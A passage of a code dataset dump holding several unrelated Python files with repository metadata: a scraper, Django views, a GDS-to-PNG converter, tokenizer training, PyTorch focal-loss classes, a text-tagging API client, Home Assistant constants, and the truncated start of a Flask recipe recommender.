"repo_name": "abdeel07/.NET-Project", "sub_path": "WebScraping.py", "file_name": "WebScraping.py", "file_ext": "py", "file_size_in_byte": 1040, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 26, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 27, "usage_type": "call"}]} {"seq_id": "26504693034", "text": "import re\nimport pdfkit\nimport requests\n\ndef html_to_pdf(url, filename):\n conf = pdfkit.configuration(wkhtmltopdf='D:/pdfkit/wkhtmltopdf/bin/wkhtmltopdf.exe')\n pdfkit.from_url(url, 'D:/pdf/officezhushou.com/ppt/{}.pdf'.format(filename), configuration=conf)\n\nif __name__ == '__main__':\n j = 0\n k = 0\n for i in range(1, 2):\n res = requests.get('http://www.officezhushou.com/excelhansu/list-{}.html'.format(i))\n content = res.content.decode('utf8')\n print(content)\n\n # result = re.findall(r'''(.+?)''', content)\n result = re.findall(r'''(.+?)''', content)\n for res in result:\n url = res[0]\n filename = res[1]\n try:\n print(url,filename)\n except Exception as e:\n j += 1\n k += 1\n print(k, j)", "repo_name": "ZainLiu/testproject", "sub_path": "miaokepractice/spiderofficezhushou.py", "file_name": "spiderofficezhushou.py", "file_ext": "py", "file_size_in_byte": 964, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pdfkit.configuration", "line_number": 6, "usage_type": "call"}, {"api_name": "pdfkit.from_url", "line_number": 7, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 13, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 18, "usage_type": "call"}]} {"seq_id": "72263045053", "text": "from django.http import JsonResponse\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom restaurants.models import Restaurants, Dishes\n\n\ndef all_restaurants(request):\n restaurants = Restaurants.objects.all()\n return JsonResponse({r.id: r.name for r in restaurants})\n\n\ndef get_restaurant(request, restaurant_id):\n try:\n restaurant = Restaurants.objects.get(id=restaurant_id)\n return JsonResponse({restaurant.id: restaurant.name})\n except ObjectDoesNotExist:\n return JsonResponse({\"error\": \"None\"})\n", "repo_name": "danielgyu/codepedia", "sub_path": "python/projects/yogiyo/yogiyo/restaurants/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 538, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "restaurants.models", "line_number": 8, "usage_type": "name"}, {"api_name": "restaurants.models.Restaurants.objects.all", "line_number": 8, "usage_type": "call"}, {"api_name": "restaurants.models.Restaurants.objects", "line_number": 8, "usage_type": "attribute"}, {"api_name": "restaurants.models.Restaurants", "line_number": 8, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 9, "usage_type": "call"}, {"api_name": "restaurants.models", "line_number": 9, "usage_type": "name"}, {"api_name": "restaurants.models.Restaurants.objects.get", "line_number": 14, "usage_type": "call"}, {"api_name": "restaurants.models.Restaurants.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "restaurants.models.Restaurants", "line_number": 14, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 15, "usage_type": "call"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 16, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 17, "usage_type": "call"}]} {"seq_id": "13553074710", "text": "#!/usr/bin/env python3\n\nimport argparse\nimport os\nimport gdspy\nimport numpy as np\nimport cv2\nfrom skimage.draw import rectangle\nfrom tqdm import tqdm\n\nfrom utils.gds_reader import get_layout_location, shape_to_grid, gen_shapes\n\n\ndef test():\n gds_dir = 'vias/via-merge/test'\n test_dir = 'vias/test'\n test_files = sorted(os.listdir(test_dir))\n gds_files = [d[:-4] for d in test_files]\n gds_file = gds_files[17]\n IN_FILE = os.path.join(gds_dir, gds_file)\n OUT_FILE = gds_file + '.png'\n REF_FILE = os.path.join('vias/test', OUT_FILE)\n ref_img = cv2.imread(REF_FILE, cv2.IMREAD_GRAYSCALE)\n cv2.imwrite('ref.png', ref_img)\n\n gdsii = gdspy.GdsLibrary(infile=IN_FILE)\n layers = gdsii.cells['TOP_new'].get_polygons(by_spec=True)\n srafs = layers[2, 0]\n vias = layers[0, 0]\n x_min, y_min, x_max, y_max = get_layout_location(srafs)\n x_diff = x_max - x_min\n y_diff = y_max - y_min\n\n STEP = 1e-3\n # X_OFFSET = 568 * STEP\n X_OFFSET = x_diff / 2.5\n # Y_OFFSET = 561 * STEP\n Y_OFFSET = y_diff / 2.5\n LEN = 2048\n\n gen_img = np.zeros((LEN, LEN), dtype=np.uint8)\n\n for v in vias:\n x1, x2, y1, y2 = shape_to_grid(v, X_OFFSET, Y_OFFSET, STEP)\n rec = rectangle((y1, x1), end=(y2, x2))\n gen_img[tuple(rec)] = 255\n\n for s in srafs:\n x1, x2, y1, y2 = shape_to_grid(s, X_OFFSET, Y_OFFSET, STEP)\n rec = rectangle((y1, x1), end=(y2, x2))\n gen_img[tuple(rec)] = 255\n\n cv2.imwrite('gen.png', gen_img)\n\n diff = np.full_like(gen_img, fill_value=255)\n diff *= gen_img != ref_img\n # diff *= gen_img == 255\n cv2.imwrite('diff.png', diff)\n print(np.sum(diff) / 255)\n\ndef main(args):\n LEN = 2048\n gds_files = sorted(os.listdir(args.gds_dir))\n vias_dir = os.path.join(args.gds_dir, '../png-vias')\n os.makedirs(vias_dir, exist_ok=True)\n srafs_dir = os.path.join(args.gds_dir, '../png-srafs')\n os.makedirs(srafs_dir, exist_ok=True)\n merge_dir = os.path.join(args.gds_dir, '../png-merge')\n os.makedirs(merge_dir, exist_ok=True)\n for gds in tqdm(gds_files):\n gds_path = os.path.join(args.gds_dir, gds)\n gdsii = gdspy.GdsLibrary(infile=gds_path)\n layers = gdsii.cells['TOP_new'].get_polygons(by_spec=True)\n srafs = layers[2, 0]\n vias = layers[0, 0]\n x_min, y_min, x_max, y_max = get_layout_location(srafs)\n assert x_max - x_min < LEN * args.step, 'min = {}, max = {}'.format(x_min, x_max)\n assert y_max - y_min < LEN * args.step, 'min = {}, max = {}'.format(y_min, y_max)\n x_offset = (LEN * args.step - x_max - x_min) / 2\n y_offset = (LEN * args.step - y_max - y_min) / 2\n img_vias = gen_shapes(vias, (LEN, LEN), x_offset, y_offset, args.step)\n img_srafs = gen_shapes(srafs, (LEN, LEN), x_offset, y_offset, args.step)\n vias_png_path = os.path.join(vias_dir, gds + '.vias.png')\n srafs_png_path = os.path.join(srafs_dir, gds + '.srafs.png')\n merge_png_path = os.path.join(merge_dir, gds + '.png')\n cv2.imwrite(vias_png_path, img_vias)\n cv2.imwrite(srafs_png_path, img_srafs)\n cv2.imwrite(merge_png_path, img_vias + img_srafs)\n\nif __name__ == '__main__':\n # test()\n parser = argparse.ArgumentParser()\n parser.add_argument('--gds-dir', type=str, default='./data/train/gds',\n help='Directory to gds files')\n parser.add_argument('--step', type=float, default=1e-3,\n help='GDS sampling step size (in microns)')\n args = parser.parse_args()\n assert os.path.isdir(args.gds_dir)\n main(args)\n", "repo_name": "panjingyu/Robustify-ML-Based-Lithography-Hotspot-Detectors", "sub_path": "scripts/gds_to_png.py", "file_name": "gds_to_png.py", "file_ext": "py", "file_size_in_byte": 3594, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.listdir", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 23, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 24, "usage_type": "call"}, {"api_name": "gdspy.GdsLibrary", "line_number": 26, "usage_type": "call"}, {"api_name": "utils.gds_reader.get_layout_location", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 41, "usage_type": "attribute"}, {"api_name": "utils.gds_reader.shape_to_grid", "line_number": 44, "usage_type": "call"}, {"api_name": "skimage.draw.rectangle", "line_number": 45, "usage_type": "call"}, {"api_name": "utils.gds_reader.shape_to_grid", "line_number": 49, "usage_type": "call"}, {"api_name": "skimage.draw.rectangle", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.full_like", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 59, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 69, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "gdspy.GdsLibrary", "line_number": 72, "usage_type": "call"}, {"api_name": "utils.gds_reader.get_layout_location", "line_number": 76, "usage_type": "call"}, {"api_name": "utils.gds_reader.gen_shapes", "line_number": 81, "usage_type": "call"}, {"api_name": "utils.gds_reader.gen_shapes", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 86, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 87, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 88, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}]} {"seq_id": "71990182332", "text": "from tokenizers import Tokenizer\nfrom tokenizers.models import BPE\nfrom datasets import load_dataset\nimport pyarrow as pa\nfrom tokenizers.pre_tokenizers import Metaspace, Whitespace\nfrom tokenizers.trainers import BpeTrainer\n\n\n\ndef train_tokenizer(vocab_size=None, texts= None):\n tokenizer = Tokenizer(BPE(unk_token=\"[UNK]\"))\n # tokenizer.pre_tokenizer = Metaspace() # Painfully slow\n tokenizer.pre_tokenizer = Whitespace()\n\n trainer = BpeTrainer(special_tokens=[\"[UNK]\", \"[CLS]\", \"[SEP]\", \"[PAD]\", \"[MASK]\"], vocab_size=vocab_size)\n if texts is None:\n dataset = load_dataset(\"pg19\")\n texts = [text for text in dataset['train']['text']]\n\n tokenizer.train_from_iterator(texts, trainer) \n\n if vocab_size is not None:\n tokenizer.save(f\"bpe-tokenizer-{vocab_size}.json\")\n else: \n tokenizer.save(\"bpe-tokenizer.json\")\n\nif __name__ == \"__main__\":\n dataset = load_dataset(\"pg19\")\n texts = [text for text in dataset['train']['text']]\n \n train_tokenizer(5000, texts)\n tokenizer = Tokenizer.from_file(\"bpe-tokenizer-5000.json\")\n # tokenizer.pre_tokenizer = Metaspace()\n tokenizer.pre_tokenizer = Whitespace()\n ex = texts[0][:1000]\n print(ex)\n print(tokenizer.encode(ex).tokens)\n", "repo_name": "Redrew/compression-tokenizer", "sub_path": "train_bpe.py", "file_name": "train_bpe.py", "file_ext": "py", "file_size_in_byte": 1250, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tokenizers.Tokenizer", "line_number": 11, "usage_type": "call"}, {"api_name": "tokenizers.models.BPE", "line_number": 11, "usage_type": "call"}, {"api_name": "tokenizers.pre_tokenizers.Whitespace", "line_number": 13, "usage_type": "call"}, {"api_name": "tokenizers.trainers.BpeTrainer", "line_number": 15, "usage_type": "call"}, {"api_name": "datasets.load_dataset", "line_number": 17, "usage_type": "call"}, {"api_name": "datasets.load_dataset", "line_number": 28, "usage_type": "call"}, {"api_name": "tokenizers.Tokenizer.from_file", "line_number": 32, "usage_type": "call"}, {"api_name": "tokenizers.Tokenizer", "line_number": 32, "usage_type": "name"}, {"api_name": "tokenizers.pre_tokenizers.Whitespace", "line_number": 34, "usage_type": "call"}]} {"seq_id": "43427660634", "text": "import torch.nn as nn\nimport torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\n\nclass WeightedFocalLoss(nn.Module):\n \"\"\"\n 单类 FocalLoss\n \"\"\"\n def __init__(self, alpha=.25, gamma=2):\n super(WeightedFocalLoss, self).__init__()\n self.alpha = torch.tensor([alpha, 1-alpha]).cuda()\n self.gamma = gamma\n\n def forward(self, inputs, targets):\n cross_loss = nn.CrossEntropyLoss(inputs, targets)\n targets = targets.type(torch.long)\n at = self.alpha.gather(0, targets.data.view(-1))\n pt = torch.exp(-cross_loss)\n F_loss = at*(1-pt)**self.gamma * cross_loss\n return F_loss.mean()\n\nclass MultiClassFocalLossWithAlpha(nn.Module):\n \"\"\"\n 多类 FocalLoss\n \"\"\"\n def __init__(self, alpha=[0.03, 0.07, 0.2, 0.35, 0.35], gamma=2, reduction='mean', device=torch.device(\"cpu\")):\n \"\"\"\n :param alpha: 权重系数列表，三分类中第0类权重0.2，第1类权重0.3，第2类权重0.5\n :param gamma: 困难样本挖掘的gamma\n :param reduction:\n \"\"\"\n super(MultiClassFocalLossWithAlpha, self).__init__()\n self.alpha = torch.tensor(alpha).to(device)\n self.gamma = torch.tensor(gamma).to(device)\n self.reduction = reduction\n\n def forward(self, pred, target):\n\n alpha = self.alpha[target] # 为当前batch内的样本，逐个分配类别权重，shape=(bs), 一维向量\n log_softmax = torch.log_softmax(pred, dim=1) # 对模型裸输出做softmax再取log, shape=(bs, 3)\n logpt = torch.gather(log_softmax, dim=1, index=target.view(-1, 1)) # 取出每个样本在类别标签位置的log_softmax值, shape=(bs, 1)\n logpt = logpt.view(-1) # 降维，shape=(bs)\n ce_loss = -logpt # 对log_softmax再取负，就是交叉熵了\n pt = torch.exp(logpt) #对log_softmax取exp，把log消了，就是每个样本在类别标签位置的softmax值了，shape=(bs)\n focal_loss = alpha * (1 - pt) ** self.gamma * ce_loss # 根据公式计算focal loss，得到每个样本的loss值，shape=(bs)\n if self.reduction == \"mean\":\n return torch.mean(focal_loss)\n if self.reduction == \"sum\":\n return torch.sum(focal_loss)\n return focal_loss\n\n\n \n \n\nclass LDAMLoss(nn.Module):\n ##cls_num_list=cls_num_list, max_m=0.5, s=30, weight=per_cls_weights).cuda(args.gpu)\n def __init__(self, cls_num_list, max_m=0.5, weight=[0.03, 0.07, 0.2, 0.35, 0.35], s=30,device=torch.device(\"cpu\")):\n super(LDAMLoss, self).__init__()\n self.device = device\n m_list = 1.0 / torch.sqrt(torch.sqrt(torch.Tensor(cls_num_list)))# nj的四次开方\n m_list = m_list * (max_m / torch.max(m_list))# 常系数 C\n self.m_list = m_list.to(self.device)\n assert s > 0\n self.s = s# \n if weight is not None:\n self.weight = torch.tensor(weight).to(device)# 和频率相关的 re-weight\n else:\n self.weight = None\n \n def forward(self, x, target):\n index = torch.zeros_like(x, dtype=torch.bool)# 和 x 维度一致全 0 的tensor\n index.scatter_(1, target.data.view(-1, 1), 1)# dim idx input\n ''' 以上的idx指示的应该是一个batch的y_true '''\n index_float = index.type(torch.cuda.FloatTensor)\n index_float.to(self.device)\n self.m_list.to(self.device)\n batch_m = torch.matmul(self.m_list[None, :], index.float().t()).view((-1, 1))\n batch_m = batch_m.expand((-1, x.size()[1]))\n x_m = x - batch_m# y 的 logit 减去 margin\n output = torch.where(index, x_m, x) # 按照修改位置合并\n if self.weight is not None:\n output = output * self.weight.unsqueeze(0)\n ldamLoss = F.cross_entropy(self.s * output, target)\n return ldamLoss\n\n\n\n\n\nclass LMFLoss(nn.Module):\n \"\"\"\n LMFLoss\n \"\"\"\n def __init__(self,cls_num_list,per_cls_weights=[0.03, 0.07, 0.2, 0.35, 0.35],device=torch.device(\"cpu\")):\n super(LMFLoss,self,).__init__()\n self.device =device\n self.ldam_loss = LDAMLoss(cls_num_list=cls_num_list, max_m=0.5, s=30, weight=per_cls_weights,device=self.device)\n self.focal_loss = MultiClassFocalLossWithAlpha(alpha=[0.03, 0.07, 0.2, 0.35, 0.35], gamma=2, reduction=\"sum\", device=self.device)\n \n def forward(self, x, target):\n loss_focal = self.focal_loss(x, target)\n loss_ldam = self.ldam_loss(x, target)\n return (loss_focal+loss_ldam)/2\n \n\nclass MultiCEFocalLoss(torch.nn.Module):\n def __init__(self, class_num=5, gamma=2, alpha=[0.03, 0.07, 0.2, 0.35, 0.35], reduction='mean',device=torch.device(\"cpu\")):\n super(MultiCEFocalLoss, self).__init__()\n if alpha is None:\n self.alpha = Variable(torch.ones(class_num, 1).to(device))\n print(self.alpha )\n else:\n self.alpha = Variable(torch.Tensor(alpha).reshape(class_num, 1).to(device))\n print(self.alpha )\n self.gamma = torch.Tensor(gamma).to(device)\n self.reduction = reduction\n self.class_num = class_num\n self.device = device\n def forward(self, predict, target):\n pt = F.softmax(predict, dim=1) # softmmax获取预测概率\n class_mask = F.one_hot(target, self.class_num) #获取target的one hot编码\n ids = target.view(-1, 1) \n alpha = self.alpha[ids.data.view(-1)] # 注意，这里的alpha是给定的一个list(tensor#),里面的元素分别是每一个类的权重因子\n probs = (pt * class_mask).sum(1).view(-1, 1) # 利用onehot作为mask，提取对应的pt\n probs = torch.Tensor(probs).to(self.device )\n log_p = torch.Tensor(probs.log()).to(self.device )\n # 同样，原始ce上增加一个动态权重衰减因子\n loss = -alpha * (torch.pow((1 - probs), self.gamma)) * log_p\n\n if self.reduction == 'mean':\n loss = loss.mean()\n elif self.reduction == 'sum':\n loss = loss.sum()\n return loss \nclass Focal_Loss(nn.Module):\n def __init__(self, weight=[0.03, 0.07, 0.2, 0.35, 0.35], gamma=2,reduction=\"mean\",device =torch.device(\"cpu\")):\n super(Focal_Loss,self).__init__()\n self.gamma = gamma\n self.reduction = reduction\n self.weight = torch.Tensor(weight).to(device) # 是tensor数据格式的列表\n self.device =device\n\n def forward(self, preds, labels):\n \"\"\"\n preds:logist输出值\n labels:标签\n \"\"\"\n preds = F.softmax(preds,dim=1)\n eps =torch.tensor(1e-7).to(self.device) \n\n target = self.one_hot(preds.size(1), labels).to(self.device)\n ce = -1 * torch.log(preds+eps) * target\n floss = torch.pow((1-preds), 2) * ce\n floss = torch.mul(floss, self.weight)\n\n floss = torch.sum(floss, dim=1)\n if self.reduction == \"mean\":\n focal_loss = torch.mean(floss)\n if self.reduction == \"sum\":\n focal_loss = torch.sum(floss)\n return focal_loss\n # return torch.mean(floss)\n\n def one_hot(self, num, labels):\n one = torch.zeros((labels.size(0),num))\n one[range(labels.size(0)),labels] = 1\n return one \n\n\n\n###测试 \n# device = torch.device(\"cuda:2\" if torch.cuda.is_available() else \"cpu\")\n# cls_num_list = [10000,10,10,10,10]\n\n# input_tensor = torch.randn(16, 5)\n# target_tensor = torch.randint(low=0, high=5, size=(16,))\n\n# # Compute the loss\n# loss_fn = MultiClassFocalLossWithAlpha(reduction =\"sum\",device=device)\n# loss_fn1 = LDAMLoss(cls_num_list=cls_num_list,device=device)\n# loss_fn2 =LMFLoss(cls_num_list=cls_num_list,device=device)\n# loss_fn3 =Focal_Loss(device=device,reduction=\"sum\")\n\n# loss = loss_fn(input_tensor.to(device), target_tensor.to(device))\n# loss1 = loss_fn1(input_tensor.to(device), target_tensor.to(device))\n# loss2 = loss_fn2(input_tensor.to(device), target_tensor.to(device))\n# loss3 = loss_fn3(input_tensor.to(device), target_tensor.to(device))\n# loss_list = [loss,loss1,loss2,loss3]\n# # Print the loss\n# print(loss_list) ", "repo_name": "glory-pluck/hzl_main", "sub_path": "classification/cnn/swin/loss.py", "file_name": "loss.py", "file_ext": "py", "file_size_in_byte": 8103, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Module", "line_number": 7, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 7, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.long", "line_number": 18, "usage_type": "attribute"}, {"api_name": "torch.exp", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 24, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.log_softmax", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.gather", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 58, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 58, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.bool", "line_number": 74, "usage_type": "attribute"}, {"api_name": "torch.cuda", "line_number": 77, "usage_type": "attribute"}, {"api_name": "torch.matmul", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.where", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 86, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 93, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 93, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 109, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 123, "usage_type": "name"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 124, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 131, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 138, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 138, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 151, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 156, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 159, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 168, "usage_type": "call"}]} {"seq_id": "31391045821", "text": "#!/usr/bin/env python\n\n\"\"\"Este programa toma los discursos en formato txt y regresa un JSON\netiquetado para cada uno de ellos\n\nReturns:\n json -- archivo en formato json de los discursos. Es una lista de listas\n donde cada una es a su vez una lista de objetos. Cada objeto es una\n palabra etiquetada usando el servicio de freeling hospedado en:\n http://www.corpus.unam.mx/servicio-freeling.\n El objeto palabra contiene el siguiente formato:\n 'token': str -- la cadena como aparece en el texto\n 'lemma': str -- el lema del token (puede tener errores)\n 'tag': str -- etiqueta en formato eagles que contiene información\n morfosintáctica de la palabra.\n 'prob': str -- cadena de un flotante entre 0 y 1 que contiene la\n certeza de la etiqueta asignada.\n\"\"\"\n\n__author__ = 'NetzSoOc'\n__date__ = '2018-04-03'\n\nimport os\nimport json\nimport requests\n\n\ndef main():\n raiz = 'Datos/Crudos/'\n for archivo in os.listdir(raiz):\n etiquetado = etiqueta_archivo(raiz, archivo)\n with open('Datos/Etiquetados/{}'.format(archivo), mode='w', \n encoding='utf8') as f:\n json.dump(etiquetado, f)\n\n\ndef etiqueta_archivo(raiz, archivo, outf='tagged', formato='json'):\n \"\"\"Utiliza la API de http://www.corpus.unam.mx/servicio-freeling para\n tokenizar y etiquetar un texto.\n \n Arguments:\n raiz {str} -- directorio raiz donde se encuentra el archivo que se va\n a etiquetar.\n archivo {str} -- archivo que se va a etiquetar\n \n Keyword Arguments:\n outf {str} -- tipo de etiquetado que se desea, puede ser 'tagged',\n 'parsed', 'dep'. (default: {'tagged'})\n formato {str} -- formato de la respuesta, puede ser 'plain', 'json',\n 'html'. (default: {'json'})\n \n Returns:\n json -- objeto tipo json que contiene el documento etiquetado.\n \"\"\"\n archivo = {'file': open(raiz + archivo, mode='rb')}\n params = {'outf': outf, 'format': formato}\n url = 'http://www.corpus.unam.mx/servicio-freeling/analyze.php'\n req = requests.post(url, files=archivo, params=params)\n return req.json()\n\nif __name__ == '__main__':\n main()", "repo_name": "netzsooc/discursos", "sub_path": "etiqueta.py", "file_name": "etiqueta.py", "file_ext": "py", "file_size_in_byte": 2242, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.listdir", "line_number": 30, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 34, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 58, "usage_type": "call"}]} {"seq_id": "1916632429", "text": "from .device_customizes import DEVICE_CUSTOMIZES\nfrom .translation_languages import TRANSLATION_LANGUAGES # noqa\n\nDOMAIN = 'xiaomi_miot'\nDEFAULT_NAME = 'Xiaomi Miot'\n\nCONF_MODEL = 'model'\nCONF_XIAOMI_CLOUD = 'xiaomi_cloud'\nCONF_SERVER_COUNTRY = 'server_country'\nCONF_CONFIG_VERSION = 'config_version'\n\nSUPPORTED_DOMAINS = [\n 'sensor',\n 'binary_sensor',\n 'switch',\n 'light',\n 'fan',\n 'climate',\n 'cover',\n 'humidifier',\n 'media_player',\n 'camera',\n 'vacuum',\n 'water_heater',\n 'device_tracker',\n 'remote',\n 'number',\n]\n\ntry:\n # hass 2021.7.0b0+\n from homeassistant.components.select import DOMAIN as DOMAIN_SELECT\n SUPPORTED_DOMAINS.append(DOMAIN_SELECT)\nexcept ModuleNotFoundError:\n DOMAIN_SELECT = None\n\n\nGLOBAL_CUSTOMIZES = {\n 'models': DEVICE_CUSTOMIZES,\n}\n", "repo_name": "0o0m/hass-xiaomi-miot", "sub_path": "custom_components/xiaomi_miot/core/const.py", "file_name": "const.py", "file_ext": "py", "file_size_in_byte": 821, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "homeassistant.components.select.DOMAIN", "line_number": 33, "usage_type": "argument"}, {"api_name": "homeassistant.components.select.DOMAIN", "line_number": 35, "usage_type": "name"}, {"api_name": "device_customizes.DEVICE_CUSTOMIZES", "line_number": 39, "usage_type": "name"}]} {"seq_id": "814913056", "text": "from flask import Flask, render_template, request, jsonify\nimport DBAccess as dba\nimport DBAdapter as db\nimport json\nimport numpy as np\nfrom Prediction import predict\nfrom utils import *\n\napp = Flask(__name__, template_folder='../frontend/simple', static_folder='../frontend/simple/static')\nconn = dba.connect_to_db()\nactive_groups = {} # map of UUID map of user-ids to obj of selections of all users, will be moved to processed order once all have voted\n\ndef generate_prediction(user_likes, user_dislikes, user_id):\n \"\"\"\n Generates a list of recipe ids, which the user might like\n :param user_likes: list of recipe ids the user likes\n :param user_dislikes: list of recipe ids the user dislikes\n :param user_id: user id\n :return: list of recipe ids to suggest to user\n \"\"\"\n recipes = db.get_recipes(conn)\n r_count = len(recipes)\n\n mat = create_pref_mat(conn, r_count)\n user_vec = 